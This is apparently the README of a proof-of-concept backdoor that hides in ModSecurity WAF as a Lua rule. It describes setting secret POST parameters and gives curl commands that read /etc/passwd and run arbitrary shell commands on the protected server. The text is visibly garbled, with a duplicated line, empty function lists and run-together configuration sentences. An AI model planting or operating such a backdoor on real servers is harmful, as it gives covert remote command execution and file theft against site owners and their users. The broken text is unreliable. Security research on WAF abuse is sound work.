
This is a proof-of-concept of malicious software running inside of ModSecurity WAF.
This is a proof-of-concept of malicious software running inside of ModSecurity WAF.
Software has two main functions:
Additionaly, it includes these functions:
SecStreamOutBodyInspection and SecContentInjection
are set to OnGet files backdoor.conf and and load the first one into the
web server.
backdoor.luaConfiguration can be done in the first rule in file backdoor.conf.
This setting can be used to set name of the POST argument used for retrieving
files content. Set it to anything random like koomem6Shmog.
This setting can be used to set name of the POST argument used for running
commands. Set it to anything random like tys4Olhuibves.
Commands can be run on any address (domain) on the target server which is behind the ModSecurity WAF. Output from commands is appended to the standard server response.
Retrieving file content:
curl -X POST -d "koomem6Shmog=/etc/passwd" "http://example.com/"
Running command and getting output:
curl -X POST -d "tys4Olhuibves=/bin/ps aux" "http://example.com/"
Copyright (c) 2022 Jozef Sudolsky. All rights reserved.
"THE BEER-WARE LICENSE" (Revision 42): [email protected] wrote this file. As long as you retain this notice you can do whatever you want with this stuff. If we meet some day, and you think this stuff is worth it, you can buy me a beer in return. Jozef Sudolsky